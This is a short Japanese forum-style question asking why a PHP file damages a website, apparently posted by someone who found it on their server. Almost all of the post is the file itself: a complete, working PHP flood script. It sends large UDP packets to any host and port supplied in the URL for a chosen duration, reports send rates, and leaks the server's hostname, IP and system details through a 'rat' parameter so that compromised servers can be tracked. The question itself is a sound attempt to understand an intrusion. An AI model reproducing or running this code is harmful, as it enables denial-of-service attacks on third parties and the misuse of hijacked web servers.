このファイルが Web サイトに破壊的な影響を与える理由を知るのを手伝ってくれる人はいますか?
<!-- Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ --><?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Warning to: opening"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>